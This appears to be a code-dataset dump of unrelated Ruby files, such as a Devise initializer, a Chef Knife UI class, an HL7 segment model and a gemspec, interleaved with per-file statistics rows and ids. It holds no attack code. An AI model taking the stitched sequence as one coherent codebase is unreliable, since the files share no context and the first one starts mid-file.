AUTH_CLOUD_SEARCH_INDEXING = 'https://www.googleapis.com/auth/cloud_search.indexing'
# Search your organization's data in the Cloud Search index
AUTH_CLOUD_SEARCH_QUERY = 'https://www.googleapis.com/auth/cloud_search.query'
# Index and serve your organization's data with Cloud Search
AUTH_CLOUD_SEARCH_SETTINGS = 'https://www.googleapis.com/auth/cloud_search.settings'
# Index and serve your organization's data with Cloud Search
AUTH_CLOUD_SEARCH_SETTINGS_INDEXING = 'https://www.googleapis.com/auth/cloud_search.settings.indexing'
# Index and serve your organization's data with Cloud Search
AUTH_CLOUD_SEARCH_SETTINGS_QUERY = 'https://www.googleapis.com/auth/cloud_search.settings.query'
# Index and serve your organization's data with Cloud Search
AUTH_CLOUD_SEARCH_STATS = 'https://www.googleapis.com/auth/cloud_search.stats'
# Index and serve your organization's data with Cloud Search
AUTH_CLOUD_SEARCH_STATS_INDEXING = 'https://www.googleapis.com/auth/cloud_search.stats.indexing'
end
end
end
| 42.483333 | 108 | 0.748529 |
33ce8d84172f538035030ef187e2f6a09d51c509 | 89 | FactoryBot.define do
factory :post do
topic
user
body { "body" }
end
end
| 11.125 | 20 | 0.606742 |
bb4e546d01a18c93fcf28c9a6174261b8fe8c93a | 1,821 | class ContainerConverter
attr_reader :destination, :index, :container
def initialize(container:, dest:, index: )
data = container[container.keys.first].symbolize_keys
@container = OpenStruct.new(data)
@destination = dest
@index = index + 1
end
def path
children? ? folder_path : file_path
end
def folder_path
File.join(destination, "#{index}_#{container.title.to_s.sterilize}")
end
def file_path
File.join(destination, "#{index}_#{container.title.sterilize}.md")
end
def children
container.children || []
end
def children?
!children.empty?
end
def attachments
container.attachments || []
end
def attachments?
!attachments.empty?
end
def convert
if children?
convert_containers!
else
convert_lesson_or_assignment!
end
end
private
def convert_containers!
FileUtils.mkdir_p path
children.each_with_index do |item, i|
ContainerConverter.new(dest: path, container: item, index: i).convert
end
write_meta!(path, container.to_h.except(:children))
end
def convert_lesson_or_assignment!
container.data = container.to_h.except(:body)
@md = StructuredToMarkdown.new
@md << container.body.to_s
if attachments?
FileUtils.mkdir_p path
write_attachments!
write_meta!(path, container.data)
File.write(File.join(path, 'readme.md'), @md.body)
else
@md.add_front_matter(container.data)
File.write(path, @md.body)
end
end
def write_meta!(meta_path, data)
File.write(File.join(meta_path, 'meta.json'), JSON.pretty_generate(data))
end
def write_attachments!
attachments.each do |name, link|
@md.add_link(name: name, url: link)
Item.download_file(name: name, url: link, path: path)
end
end
end
| 20.460674 | 77 | 0.67765 |
2818dca5698aa6645e18c94c66e7029656b81e5d | 1,578 | # -*- encoding: utf-8 -*-
Gem::Specification.new do |s|
s.name = %q{capistrano-ext}
s.version = "1.2.1"
s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version=
s.authors = ["Jamis Buck"]
s.date = %q{2008-06-14}
s.description = %q{Useful task libraries and methods for Capistrano}
s.email = %q{[email protected]}
s.extra_rdoc_files = ["CHANGELOG.rdoc", "lib/capistrano/ext/assets/request-counter.rb", "lib/capistrano/ext/monitor.rb", "lib/capistrano/ext/multistage.rb", "lib/capistrano/ext/version.rb", "README"]
s.files = ["CHANGELOG.rdoc", "lib/capistrano/ext/assets/request-counter.rb", "lib/capistrano/ext/monitor.rb", "lib/capistrano/ext/multistage.rb", "lib/capistrano/ext/version.rb", "MIT-LICENSE", "README", "setup.rb", "Manifest", "capistrano-ext.gemspec"]
s.homepage = %q{http://www.capify.org}
s.rdoc_options = ["--line-numbers", "--inline-source", "--title", "Capistrano-ext", "--main", "README"]
s.require_paths = ["lib"]
s.rubyforge_project = %q{capistrano-ext}
s.rubygems_version = %q{1.3.7}
s.summary = %q{Useful task libraries and methods for Capistrano}
if s.respond_to? :specification_version then
current_version = Gem::Specification::CURRENT_SPECIFICATION_VERSION
s.specification_version = 2
if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then
s.add_runtime_dependency(%q<capistrano>, [">= 1.0.0"])
else
s.add_dependency(%q<capistrano>, [">= 1.0.0"])
end
else
s.add_dependency(%q<capistrano>, [">= 1.0.0"])
end
end
| 46.411765 | 255 | 0.686312 |
f7c14d2dc654f6a842ff5282ddb31c532ac5cae2 | 3,779 | ##########################################################################
# Copyright 2015 ThoughtWorks, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
##########################################################################
require 'spec_helper'
describe ApiV1::Config::ArtifactRepresenter do
it 'should serialize build artifact' do
presenter = ApiV1::Config::ArtifactRepresenter.new(ArtifactPlan.new('target/dist.jar', 'pkg'))
actual_json = presenter.to_hash(url_builder: UrlBuilder.new)
expect(actual_json).to eq(build_artifact_hash)
end
it 'should serialize test artifact' do
config = TestArtifactPlan.new
config.setSrc('target/reports/**/*Test.xml')
config.setDest('reports')
presenter = ApiV1::Config::ArtifactRepresenter.new(config)
actual_json = presenter.to_hash(url_builder: UrlBuilder.new)
expect(actual_json).to eq(test_artifact_hash)
end
it 'should deserialize test artifact' do
expected = TestArtifactPlan.new
expected.setSrc('target/reports/**/*Test.xml')
expected.setDest('reports')
actual = TestArtifactPlan.new
presenter = ApiV1::Config::ArtifactRepresenter.new(actual)
presenter.from_hash(test_artifact_hash)
expect(actual.getSrc).to eq(expected.getSrc)
expect(actual.getDest).to eq(expected.getDest)
expect(actual.getArtifactType).to eq(expected.getArtifactType)
expect(actual).to eq(expected)
end
it 'should map errors' do
plan = TestArtifactPlan.new(nil, '../foo')
plan.validateTree(PipelineConfigSaveValidationContext.forChain(true, "g", PipelineConfig.new, StageConfig.new, JobConfig.new))
presenter = ApiV1::Config::ArtifactRepresenter.new(plan)
actual_json = presenter.to_hash(url_builder: UrlBuilder.new)
expect(actual_json).to eq(test_artifact_with_errors)
end
def test_artifact_with_errors
{source: nil, destination: '../foo', type: 'test',
errors: {
destination: ['Invalid destination path. Destination path should match the pattern (([.]\\/)?[.][^. ]+)|([^. ].+[^. ])|([^. ][^. ])|([^. ])'],
source: ["Job 'null' has an artifact with an empty source"]
}
}
end
def build_artifact_hash
{
source: 'target/dist.jar',
destination: 'pkg',
type: 'build'
}
end
def build_artifact_hash_with_errors
{
source: nil,
destination: '../foo',
type: 'build',
errors: {
source: ["Job 'null' has an artifact with an empty source"],
destination: ['Invalid destination path. Destination path should match the pattern '+ com.thoughtworks.go.config.validation.FilePathTypeValidator::PATH_PATTERN]
}
}
end
def test_artifact_hash
{
source: 'target/reports/**/*Test.xml',
destination: 'reports',
type: 'test'
}
end
def test_artifact_hash_with_errors
{
source: nil,
destination: '../foo',
type: 'test',
errors: {
source: ["Job 'null' has an artifact with an empty source"],
destination: ['Invalid destination path. Destination path should match the pattern '+ com.thoughtworks.go.config.validation.FilePathTypeValidator::PATH_PATTERN]
}
}
end
end | 34.354545 | 168 | 0.65123 |
219c56f5b4c86c9f840fa763f91aa24a2d30bb11 | 13,919 | # Use this hook to configure devise mailer, warden hooks and so forth.
# Many of these configuration options can be set straight in your model.
Devise.setup do |config|
# The secret key used by Devise. Devise uses this key to generate
# random tokens. Changing this key will render invalid all existing
# confirmation, reset password and unlock tokens in the database.
# Devise will use the `secret_key_base` as its `secret_key`
# by default. You can change it below and use your own secret key.
# config.secret_key = '5a065cb6a42f1040fc542bb10ad73d9ae1327a9a81d04d343089f85224cb54bb98186aebcc638d0db3c4e0c8e14787e455d22ba1b34f8f20dcdfacd9869461a7'
# ==> Mailer Configuration
# Configure the e-mail address which will be shown in Devise::Mailer,
# note that it will be overwritten if you use your own mailer class
# with default "from" parameter.
config.mailer_sender = '[email protected]'
# Configure the class responsible to send e-mails.
# config.mailer = 'Devise::Mailer'
# Configure the parent class responsible to send e-mails.
# config.parent_mailer = 'ActionMailer::Base'
# ==> ORM configuration
# Load and configure the ORM. Supports :active_record (default) and
# :mongoid (bson_ext recommended) by default. Other ORMs may be
# available as additional gems.
require 'devise/orm/active_record'
# ==> Configuration for any authentication mechanism
# Configure which keys are used when authenticating a user. The default is
# just :email. You can configure it to use [:username, :subdomain], so for
# authenticating a user, both parameters are required. Remember that those
# parameters are used only when authenticating and not when retrieving from
# session. If you need permissions, you should implement that in a before filter.
# You can also supply a hash where the value is a boolean determining whether
# or not authentication should be aborted when the value is not present.
# config.authentication_keys = [:email]
# Configure parameters from the request object used for authentication. Each entry
# given should be a request method and it will automatically be passed to the
# find_for_authentication method and considered in your model lookup. For instance,
# if you set :request_keys to [:subdomain], :subdomain will be used on authentication.
# The same considerations mentioned for authentication_keys also apply to request_keys.
# config.request_keys = []
# Configure which authentication keys should be case-insensitive.
# These keys will be downcased upon creating or modifying a user and when used
# to authenticate or find a user. Default is :email.
config.case_insensitive_keys = [:email]
# Configure which authentication keys should have whitespace stripped.
# These keys will have whitespace before and after removed upon creating or
# modifying a user and when used to authenticate or find a user. Default is :email.
config.strip_whitespace_keys = [:email]
# Tell if authentication through request.params is enabled. True by default.
# It can be set to an array that will enable params authentication only for the
# given strategies, for example, `config.params_authenticatable = [:database]` will
# enable it only for database (email + password) authentication.
# config.params_authenticatable = true
# Tell if authentication through HTTP Auth is enabled. False by default.
# It can be set to an array that will enable http authentication only for the
# given strategies, for example, `config.http_authenticatable = [:database]` will
# enable it only for database authentication. The supported strategies are:
# :database = Support basic authentication with authentication key + password
# config.http_authenticatable = false
# If 401 status code should be returned for AJAX requests. True by default.
# config.http_authenticatable_on_xhr = true
# The realm used in Http Basic Authentication. 'Application' by default.
# config.http_authentication_realm = 'Application'
# It will change confirmation, password recovery and other workflows
# to behave the same regardless if the e-mail provided was right or wrong.
# Does not affect registerable.
# config.paranoid = true
# By default Devise will store the user in session. You can skip storage for
# particular strategies by setting this option.
# Notice that if you are skipping storage for all authentication paths, you
# may want to disable generating routes to Devise's sessions controller by
# passing skip: :sessions to `devise_for` in your config/routes.rb
config.skip_session_storage = [:http_auth]
# By default, Devise cleans up the CSRF token on authentication to
# avoid CSRF token fixation attacks. This means that, when using AJAX
# requests for sign in and sign up, you need to get a new CSRF token
# from the server. You can disable this option at your own risk.
# config.clean_up_csrf_token_on_authentication = true
# When false, Devise will not attempt to reload routes on eager load.
# This can reduce the time taken to boot the app but if your application
# requires the Devise mappings to be loaded during boot time the application
# won't boot properly.
# config.reload_routes = true
# ==> Configuration for :database_authenticatable
# For bcrypt, this is the cost for hashing the password and defaults to 11. If
# using other algorithms, it sets how many times you want the password to be hashed.
#
# Limiting the stretches to just one in testing will increase the performance of
# your test suite dramatically. However, it is STRONGLY RECOMMENDED to not use
# a value less than 10 in other environments. Note that, for bcrypt (the default
# algorithm), the cost increases exponentially with the number of stretches (e.g.
# a value of 20 is already extremely slow: approx. 60 seconds for 1 calculation).
config.stretches = Rails.env.test? ? 1 : 11
# Set up a pepper to generate the hashed password.
# config.pepper = '127b636514cfa90e79e6fcd0cd74e67ca5a01da83aa7de5fd61edc880f7336c1357c7c15ddc141c2dc809e450d062aa6531f1949d34379b8316bdaff54f59b06'
# Send a notification email when the user's password is changed
# config.send_password_change_notification = false
# ==> Configuration for :confirmable
# A period that the user is allowed to access the website even without
# confirming their account. For instance, if set to 2.days, the user will be
# able to access the website for two days without confirming their account,
# access will be blocked just in the third day. Default is 0.days, meaning
# the user cannot access the website without confirming their account.
# config.allow_unconfirmed_access_for = 2.days
# A period that the user is allowed to confirm their account before their
# token becomes invalid. For example, if set to 3.days, the user can confirm
# their account within 3 days after the mail was sent, but on the fourth day
# their account can't be confirmed with the token any more.
# Default is nil, meaning there is no restriction on how long a user can take
# before confirming their account.
# config.confirm_within = 3.days
# If true, requires any email changes to be confirmed (exactly the same way as
# initial account confirmation) to be applied. Requires additional unconfirmed_email
# db field (see migrations). Until confirmed, new email is stored in
# unconfirmed_email column, and copied to email column on successful confirmation.
config.reconfirmable = true
# Defines which key will be used when confirming an account
# config.confirmation_keys = [:email]
# ==> Configuration for :rememberable
# The time the user will be remembered without asking for credentials again.
# config.remember_for = 2.weeks
# Invalidates all the remember me tokens when the user signs out.
config.expire_all_remember_me_on_sign_out = true
# If true, extends the user's remember period when remembered via cookie.
# config.extend_remember_period = false
# Options to be passed to the created cookie. For instance, you can set
# secure: true in order to force SSL only cookies.
# config.rememberable_options = {}
# ==> Configuration for :validatable
# Range for password length.
config.password_length = 6..128
# Email regex used to validate email formats. It simply asserts that
# one (and only one) @ exists in the given string. This is mainly
# to give user feedback and not to assert the e-mail validity.
config.email_regexp = /\A[^@\s]+@[^@\s]+\z/
# ==> Configuration for :timeoutable
# The time you want to timeout the user session without activity. After this
# time the user will be asked for credentials again. Default is 30 minutes.
# config.timeout_in = 30.minutes
# ==> Configuration for :lockable
# Defines which strategy will be used to lock an account.
# :failed_attempts = Locks an account after a number of failed attempts to sign in.
# :none = No lock strategy. You should handle locking by yourself.
# config.lock_strategy = :failed_attempts
# Defines which key will be used when locking and unlocking an account
# config.unlock_keys = [:email]
# Defines which strategy will be used to unlock an account.
# :email = Sends an unlock link to the user email
# :time = Re-enables login after a certain amount of time (see :unlock_in below)
# :both = Enables both strategies
# :none = No unlock strategy. You should handle unlocking by yourself.
# config.unlock_strategy = :both
# Number of authentication tries before locking an account if lock_strategy
# is failed attempts.
# config.maximum_attempts = 20
# Time interval to unlock the account if :time is enabled as unlock_strategy.
# config.unlock_in = 1.hour
# Warn on the last attempt before the account is locked.
# config.last_attempt_warning = true
# ==> Configuration for :recoverable
#
# Defines which key will be used when recovering the password for an account
# config.reset_password_keys = [:email]
# Time interval you can reset your password with a reset password key.
# Don't put a too small interval or your users won't have the time to
# change their passwords.
config.reset_password_within = 6.hours
# When set to false, does not sign a user in automatically after their password is
# reset. Defaults to true, so a user is signed in automatically after a reset.
# config.sign_in_after_reset_password = true
# ==> Configuration for :encryptable
# Allow you to use another hashing or encryption algorithm besides bcrypt (default).
# You can use :sha1, :sha512 or algorithms from others authentication tools as
# :clearance_sha1, :authlogic_sha512 (then you should set stretches above to 20
# for default behavior) and :restful_authentication_sha1 (then you should set
# stretches to 10, and copy REST_AUTH_SITE_KEY to pepper).
#
# Require the `devise-encryptable` gem when using anything other than bcrypt
# config.encryptor = :sha512
# ==> Scopes configuration
# Turn scoped views on. Before rendering "sessions/new", it will first check for
# "users/sessions/new". It's turned off by default because it's slower if you
# are using only default views.
# config.scoped_views = false
# Configure the default scope given to Warden. By default it's the first
# devise role declared in your routes (usually :user).
# config.default_scope = :user
# Set this configuration to false if you want /users/sign_out to sign out
# only the current scope. By default, Devise signs out all scopes.
# config.sign_out_all_scopes = true
# ==> Navigation configuration
# Lists the formats that should be treated as navigational. Formats like
# :html, should redirect to the sign in page when the user does not have
# access, but formats like :xml or :json, should return 401.
#
# If you have any extra navigational formats, like :iphone or :mobile, you
# should add them to the navigational formats lists.
#
# The "*/*" below is required to match Internet Explorer requests.
# config.navigational_formats = ['*/*', :html]
# The default HTTP method used to sign out a resource. Default is :delete.
config.sign_out_via = :delete
# ==> OmniAuth
# Add a new OmniAuth provider. Check the wiki for more information on setting
# up on your models and hooks.
# config.omniauth :github, 'APP_ID', 'APP_SECRET', scope: 'user,public_repo'
require "omniauth-facebook"
require "omniauth-google-oauth2"
config.omniauth :facebook, Setting.facebook_auth_key.app_id, Setting.facebook_auth_key.app_secret, scope: 'email,public_profile', token_params: { parse: :json }
config.omniauth :google_oauth2, Setting.google_auth_key.client_id, Setting.google_auth_key.client_secret, { access_type: "offline", approval_prompt: "", scope: 'email,profile' }
# ==> Warden configuration
# If you want to use other strategies, that are not supported by Devise, or
# change the failure app, you can configure them inside the config.warden block.
#
# config.warden do |manager|
# manager.intercept_401 = false
# manager.default_strategies(scope: :user).unshift :some_external_strategy
# end
# ==> Mountable engine configurations
# When using Devise inside an engine, let's call it `MyEngine`, and this engine
# is mountable, there are some extra configurations to be taken into account.
# The following options are available, assuming the engine is mounted as:
#
# mount MyEngine, at: '/my_engine'
#
# The router that invoked `devise_for`, in the example above, would be:
# config.router_name = :my_engine
#
# When using OmniAuth, Devise cannot automatically set OmniAuth path,
# so you need to do it manually. For the users scope, it would be:
# config.omniauth_path_prefix = '/my_engine/users/auth'
end
| 49.710714 | 179 | 0.752281 |
394d7e4fe2d949d906145d3d6a20e00f14487ca6 | 369 | # frozen_string_literal: true
class SeasonValidator < ActiveModel::Validator
def validate(record)
overlaps = Season.find_by('start_date < ? AND end_date > ? AND id != ?',
record.end_date, record.start_date, record.id.to_i)
return if overlaps.blank?
record.errors.add(:base, 'Season overlaps with another season')
end
end
| 30.75 | 81 | 0.672087 |
4a0fcc55d8310ba89c48ab42cbf75acae90dbcdd | 678 | Pod::Spec.new do |s|
s.name = "srt"
s.version = "1.1.0"
s.summary = ""
s.description = <<-DESC
Your description here.
DESC
s.homepage = "https://github.com/ApolloZhu/srt"
s.license = { :type => "MIT", :file => "LICENSE" }
s.author = { "Zhiyu Zhu" => "[email protected]" }
s.social_media_url = ""
s.ios.deployment_target = "8.0"
s.osx.deployment_target = "10.9"
s.watchos.deployment_target = "2.0"
s.tvos.deployment_target = "9.0"
s.source = { :git => "https://github.com/ApolloZhu/srt.git", :tag => s.version.to_s }
s.source_files = "Sources/**/*"
s.frameworks = "Foundation"
end
| 33.9 | 93 | 0.581121 |
38ec9e4f4a24981f66eb64c2f162d930060d1735 | 1,152 | # frozen_string_literal: true
require 'attr/gather/aggregators/base'
module Attr
module Gather
module Aggregators
# Deep merges result hashes
#
# @api public
class DeepMerge < Base
# Initialize a new DeepMerge aggregator
#
# @param reverse [Boolean] deep merge results in reverse order
#
# @api private
def initialize(reverse: false, **)
@reverse = reverse
super
end
def call(input, execution_results)
execution_results = execution_results.reverse_each if reverse?
result = execution_results.reduce(input.dup) do |memo, res|
deep_merge(memo, unwrap_result(res))
end
wrap_result(result)
end
private
def reverse?
@reverse
end
def deep_merge(hash, other)
Hash[hash].merge(other) do |_, orig, new|
if orig.respond_to?(:to_hash) && new.respond_to?(:to_hash)
deep_merge(Hash[orig], Hash[new])
else
new
end
end
end
end
end
end
end
| 22.588235 | 72 | 0.555556 |
e25e76fc22420ea5b3840e150be35ff242a754fc | 431 |
def permutations?(string1, string2)
return false if string1.length != string2.length
string1 = string1.chars
string2 = string2.chars
hash = {}
hash.default = 0
string1.each do |char|
hash[char] += 1
end
string2.each do |element|
if hash[element] == nil
return false
else hash[element] -= 1
end
end
hash.each do |key, value|
return false unless value == 0
end
return true
end
| 15.962963 | 50 | 0.642691 |
ff720da3f9f9820579a12fbdbf855c1c6cc4deca | 1,489 | module HealthSeven::V2_7
class Dg1 < ::HealthSeven::Segment
# Set ID - DG1
attribute :set_id_dg1, Si, position: "DG1.1", require: true
# Diagnosis Code - DG1
attribute :diagnosis_code_dg1, Cwe, position: "DG1.3", require: true
# Diagnosis Date/Time
attribute :diagnosis_date_time, Dtm, position: "DG1.5"
# Diagnosis Type
attribute :diagnosis_type, Cwe, position: "DG1.6", require: true
# Diagnosis Priority
attribute :diagnosis_priority, Nm, position: "DG1.15"
# Diagnosing Clinician
attribute :diagnosing_clinicians, Array[Xcn], position: "DG1.16", multiple: true
# Diagnosis Classification
attribute :diagnosis_classification, Cwe, position: "DG1.17"
# Confidential Indicator
attribute :confidential_indicator, Id, position: "DG1.18"
# Attestation Date/Time
attribute :attestation_date_time, Dtm, position: "DG1.19"
# Diagnosis Identifier
attribute :diagnosis_identifier, Ei, position: "DG1.20"
# Diagnosis Action Code
attribute :diagnosis_action_code, Id, position: "DG1.21"
# Parent Diagnosis
attribute :parent_diagnosis, Ei, position: "DG1.22"
# DRG CCL Value Code
attribute :drg_ccl_value_code, Cwe, position: "DG1.23"
# DRG Grouping Usage
attribute :drg_grouping_usage, Id, position: "DG1.24"
# DRG Diagnosis Determination Status
attribute :drg_diagnosis_determination_status, Cwe, position: "DG1.25"
# Present On Admission (POA) Indicator
attribute :present_on_admission_poa_indicator, Cwe, position: "DG1.26"
end
end | 41.361111 | 82 | 0.750839 |
384e1361e5ce7fbb83c549d5062c3f1e6512b88f | 1,177 | require 'rails/generators/named_base'
module Shatter
module Generators
class Shatter < Rails::Generators::NamedBase
desc "Generates separate files for a model's association, validation, operation and query logic."
source_root File.expand_path('../templates', __FILE__)
def generate_refinements
template "associations.rb", "app/models/#{file_name}/associations.rb"
template "operations.rb", "app/models/#{file_name}/operations.rb"
template "queries.rb", "app/models/#{file_name}/queries.rb"
template "validations.rb", "app/models/#{file_name}/validations.rb"
end
def inject_refinements
inject_into_class "app/models/#{file_name}.rb", file_name.singularize.camelcase do
"include #{file_name.singularize.camelcase}::Associations\ninclude #{file_name.singularize.camelcase}::Operations\ninclude #{file_name.singularize.camelcase}::Queries\ninclude #{file_name.singularize.camelcase}::Validations\n"
end
end
end
end
end | 47.08 | 248 | 0.626168 |
d5c7af9e94096542e34338dd8a5463d7700760cf | 427 | cask :v1 => 'wiznote' do
version '2015-01-14'
sha256 '5edd3fd654c6168779f89553de970c35038111624ff9a0a4b26dbaa2530b035e'
# wiz.cn is the official download host per the vendor homepage
url "http://release.wiz.cn/wiznote-macos-#{version}.dmg"
homepage 'http://www.wiznote.com/'
license :unknown # todo: change license and remove this comment; ':unknown' is a machine-generated placeholder
app 'WizNote.app'
end
| 35.583333 | 115 | 0.749415 |
ff2545cfed974f79da989a792d469138b46aa886 | 8,076 | #
# Author:: Adam Jacob (<[email protected]>)
# Author:: Christopher Brown (<[email protected]>)
# Author:: Daniel DeLeo (<[email protected]>)
# Copyright:: Copyright (c) 2009, 2011 Opscode, Inc.
# License:: Apache License, Version 2.0
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
require 'forwardable'
require 'chef/platform/query_helpers'
require 'chef/knife/core/generic_presenter'
require 'tempfile'
class Chef
class Knife
#==Chef::Knife::UI
# The User Interaction class used by knife.
class UI
extend Forwardable
attr_reader :stdout
attr_reader :stderr
attr_reader :stdin
attr_reader :config
attr_reader :presenter
def_delegator :@presenter, :format_list_for_display
def_delegator :@presenter, :format_for_display
def_delegator :@presenter, :format_cookbook_list_for_display
def initialize(stdout, stderr, stdin, config)
@stdout, @stderr, @stdin, @config = stdout, stderr, stdin, config
@presenter = Chef::Knife::Core::GenericPresenter.new(self, config)
end
# Creates a new +presenter_class+ object and uses it to format structured
# data for display. By default, a Chef::Knife::Core::GenericPresenter
# object is used.
def use_presenter(presenter_class)
@presenter = presenter_class.new(self, config)
end
def highline
@highline ||= begin
require 'highline'
HighLine.new
end
end
# Prints a message to stdout. Aliased as +info+ for compatibility with
# the logger API.
def msg(message)
begin
stdout.puts message
rescue Errno::EPIPE => e
raise e if @config[:verbosity] >= 2
exit 0
end
end
alias :info :msg
# Prints a msg to stderr. Used for warn, error, and fatal.
def err(message)
begin
stderr.puts message
rescue Errno::EPIPE => e
raise e if @config[:verbosity] >= 2
exit 0
end
end
# Print a warning message
def warn(message)
err("#{color('WARNING:', :yellow, :bold)} #{message}")
end
# Print an error message
def error(message)
err("#{color('ERROR:', :red, :bold)} #{message}")
end
# Print a message describing a fatal error.
def fatal(message)
err("#{color('FATAL:', :red, :bold)} #{message}")
end
def color(string, *colors)
if color?
highline.color(string, *colors)
else
string
end
end
# Should colored output be used? For output to a terminal, this is
# determined by the value of `config[:color]`. When output is not to a
# terminal, colored output is never used
def color?
Chef::Config[:color] && stdout.tty? && !Chef::Platform.windows?
end
def ask(*args, &block)
highline.ask(*args, &block)
end
def list(*args)
highline.list(*args)
end
# Formats +data+ using the configured presenter and outputs the result
# via +msg+. Formatting can be customized by configuring a different
# presenter. See +use_presenter+
def output(data)
msg @presenter.format(data)
end
# Determines if the output format is a data interchange format, i.e.,
# JSON or YAML
def interchange?
@presenter.interchange?
end
def ask_question(question, opts={})
question = question + "[#{opts[:default]}] " if opts[:default]
if opts[:default] and config[:defaults]
opts[:default]
else
stdout.print question
a = stdin.readline.strip
if opts[:default]
a.empty? ? opts[:default] : a
else
a
end
end
end
def pretty_print(data)
begin
stdout.puts data
rescue Errno::EPIPE => e
raise e if @config[:verbosity] >= 2
exit 0
end
end
def edit_data(data, parse_output=true)
output = Chef::JSONCompat.to_json_pretty(data)
if (!config[:disable_editing])
Tempfile.open([ 'knife-edit-', '.json' ]) do |tf|
tf.sync = true
tf.puts output
tf.close
raise "Please set EDITOR environment variable" unless system("#{config[:editor]} #{tf.path}")
output = IO.read(tf.path)
end
end
parse_output ? Chef::JSONCompat.from_json(output) : output
end
def edit_object(klass, name)
object = klass.load(name)
output = edit_data(object)
# Only make the save if the user changed the object.
#
# Output JSON for the original (object) and edited (output), then parse
# them without reconstituting the objects into real classes
# (create_additions=false). Then, compare the resulting simple objects,
# which will be Array/Hash/String/etc.
#
# We wouldn't have to do these shenanigans if all the editable objects
# implemented to_hash, or if to_json against a hash returned a string
# with stable key order.
object_parsed_again = Chef::JSONCompat.from_json(Chef::JSONCompat.to_json(object), :create_additions => false)
output_parsed_again = Chef::JSONCompat.from_json(Chef::JSONCompat.to_json(output), :create_additions => false)
if object_parsed_again != output_parsed_again
output.save
self.msg("Saved #{output}")
else
self.msg("Object unchanged, not saving")
end
output(format_for_display(object)) if config[:print_after]
end
def confirmation_instructions(default_choice)
case default_choice
when true
'? (Y/n)'
when false
'? (y/N)'
else
'? (Y/N)'
end
end
# See confirm method for argument information
def confirm_without_exit(question, append_instructions=true, default_choice=nil)
return true if config[:yes]
stdout.print question
stdout.print confirmation_instructions(default_choice) if append_instructions
answer = stdin.readline
answer.chomp!
case answer
when "Y", "y"
true
when "N", "n"
self.msg("You said no, so I'm done here.")
false
when ""
unless default_choice.nil?
default_choice
else
self.msg("I have no idea what to do with '#{answer}'")
self.msg("Just say Y or N, please.")
confirm_without_exit(question, append_instructions, default_choice)
end
else
self.msg("I have no idea what to do with '#{answer}'")
self.msg("Just say Y or N, please.")
confirm_without_exit(question, append_instructions, default_choice)
end
end
#
# Not the ideal signature for a function but we need to stick with this
# for now until we get a chance to break our API in Chef 12.
#
# question => Question to print before asking for confirmation
# append_instructions => Should print '? (Y/N)' as instructions
# default_choice => Set to true for 'Y', and false for 'N' as default answer
#
def confirm(question, append_instructions=true, default_choice=nil)
unless confirm_without_exit(question, append_instructions, default_choice)
exit 3
end
true
end
end
end
end
| 30.134328 | 118 | 0.609708 |
33b7565c950576083c287a0a0f83ad170235c3f4 | 191 | module Postal
module MessageInspectors
extend ActiveSupport::Autoload
eager_autoload do
autoload :Clamav
autoload :Rspamd
autoload :SpamAssassin
end
end
end
| 17.363636 | 34 | 0.706806 |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.